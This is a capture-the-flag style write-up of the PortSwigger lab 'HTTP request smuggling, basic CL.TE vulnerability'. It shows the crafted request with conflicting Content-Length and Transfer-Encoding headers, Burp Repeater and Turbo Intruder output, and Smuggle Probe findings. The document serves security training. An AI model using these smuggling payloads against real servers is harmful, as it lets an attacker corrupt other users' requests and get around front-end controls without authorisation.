

Lab: HTTP request smuggling, basic CL.TE vulnerability

This lab involves a front-end and back-end server, and the front-end server doesn't support chunked encoding. The front-end server rejects requests that aren't using the GET or POST method.

To solve the lab, smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method **GPOST**.

Using Burp Repeater, issue the following request twice OR Smuggle Probe

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POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
```

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G

Request for / sent to repeater with added requirements for attack

Request

```
Pretty  Raw  Hex  Hackvector
1 POST / HTTP/1.1 \r \n
2 Host: 0a3e00c704938da3c1c2172a006d004b.web-security-academy.net \r \n
3 Cookie: session=nMAqi3CpMTinrYAGJjrs0h2XHwGLKEe4 \r \n
4 Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8" \r \n
5 Sec-Ch-Ua-Mobile: ?0 \r \n
6 Sec-Ch-Ua-Platform: "Windows" \r \n
7 Upgrade-Insecure-Requests: 1 \r \n
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.
Chrome/105.0.5195.102 Safari/537.36 \r \n
9 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image
,application/signed-exchange;v=b3;q=0.9 \r \n
10 Sec-Fetch-Site: same-origin \r \n
11 Sec-Fetch-Mode: navigate \r \n
12 Sec-Fetch-User: ?1 \r \n
13 Sec-Fetch-Dest: document \r \n
14 Referer: https://0a3e00c704938da3c1c2172a006d004b.web-security-academy
15 Accept-Encoding: gzip, deflate \r \n
16 Accept-Language: en-GB,en-US;q=0.9,en;q=0.8 \r \n
17 Connection: close \r \n
18 Content-Type: application/x-www-form-urlencoded \r \n
19 Content-Length: 6 \r \n
20 Transfer-Encoding: chunked \r \n
21 \r \n
22 0 \r \n
23 \r \n
24 G
```

Turbo Intruder Smuggling Attack

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)
# This will prefix the victim's request. Edit it to achieve the desired effect
prefix = '''G'''

# HTTP uses \r\n for line-endings. Linux uses \n so we need to normalise
if '\r' not in prefix:
    prefix = prefix.replace('\n', '\r\n')
```

Smuggle Probe

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Client-side desync
Pause-based desync
Connection-state
Smuggle probe
HTTP/2 probe
HTTP/2 Tunnel probe TE
HTTP/2 Tunnel probe CL
HTTP/2-hidden probe
```

The second response should say: **Unrecognized method GPOST**.

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Response
Pretty Raw Hex Render
1 HTTP/1.1 403 Forbidden
2 Content-Type: application/json; charset=utf-8
3 Connection: close
4 Content-Length: 27
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6 "Unrecognized method GPOST"
```

Smuggle Probe Results

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Issues
> ? Possible HTTP Request Smuggling: CLTE multiCase (delayed response) [2]
> ? HTTP Request Smuggling Confirmed: G -multiCase [2]
> ? HTTP Request Smuggling Confirmed: FOO -multiCase [2]
> ? HTTP Request Smuggling Confirmed: headerConcat -multiCase [2]
> ? HTTP Request Smuggling Confirmed: bodyConcat -multiCase [2]
! Strict transport security not enforced
> i Cacheable HTTPS response [5]
i Frameable response (potential Clickjacking)
```

Congratulations appears when the GPOST response comes back

Congratulations, you solved the lab!